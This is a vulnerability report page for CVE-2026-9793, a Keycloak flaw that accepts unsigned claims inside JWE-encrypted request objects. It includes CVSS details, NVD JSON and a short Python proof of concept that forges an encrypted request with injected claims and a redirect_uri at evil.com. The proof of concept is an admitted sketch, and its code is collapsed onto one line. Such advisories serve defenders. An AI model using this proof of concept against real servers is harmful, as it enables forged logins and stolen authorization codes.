Security Vulnerability Report
中文
CVE-2026-9793 CVSS 5.9 MEDIUM

CVE-2026-9793

Published: 2026-05-28 05:16:41
Last Modified: 2026-05-28 05:16:41

Description

A flaw was found in Keycloak. When a JSON Web Encryption (JWE) encrypted request object is submitted, Keycloak may incorrectly process unsigned claims if the decrypted content is raw JSON, bypassing the configured signature policy. This allows a remote attacker to submit unauthorized claims, leading to a compromise of data integrity within the OpenID Connect (OIDC) authorization flow. While a redirect URI allowlist acts as a compensating control, this vulnerability violates OIDC Core and Financial-grade API (FAPI) signing requirements.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Keycloak (具体受影响版本请参考Red Hat官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import json import jose.jwe from cryptography.hazmat.primitives import serialization # Target Keycloak's Public Key (PEM format) TARGET_PUBLIC_KEY_PEM = """-----BEGIN PUBLIC KEY----- ... (Target Key) ... -----END PUBLIC KEY-----""" # Malicious claims to be injected malicious_payload = { "iss": "https://attacker-controlled-issuer", "aud": "target-client-id", "response_type": "code", "client_id": "target-client-id", "redirect_uri": "https://evil.com/callback", # ... other claims to bypass policy } # Load the public key public_key = serialization.load_pem_public_key(TARGET_PUBLIC_KEY_PEM.encode()) # Create a JWE (JSON Web Encryption) containing raw JSON # This bypasses the internal JWS signature check expected by OIDC/FAPI # Note: Using a hypothetical JWE library structure for demonstration encrypted_request = jose.jwe.encrypt( json.dumps(malicious_payload).encode('utf-8'), public_key, algorithm="RSA-OAEP", encryption="A256GCM" ) print(f"Generated Malicious JWE Request Object: {encrypted_request.decode('utf-8')}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9793", "sourceIdentifier": "[email protected]", "published": "2026-05-28T05:16:40.697", "lastModified": "2026-05-28T05:16:40.697", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. When a JSON Web Encryption (JWE) encrypted request object is submitted, Keycloak may incorrectly process unsigned claims if the decrypted content is raw JSON, bypassing the configured signature policy. This allows a remote attacker to submit unauthorized claims, leading to a compromise of data integrity within the OpenID Connect (OIDC) authorization flow. While a redirect URI allowlist acts as a compensating control, this vulnerability violates OIDC Core and Financial-grade API (FAPI) signing requirements."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-347"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-9793", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2482460", "source": "[email protected]"}]}}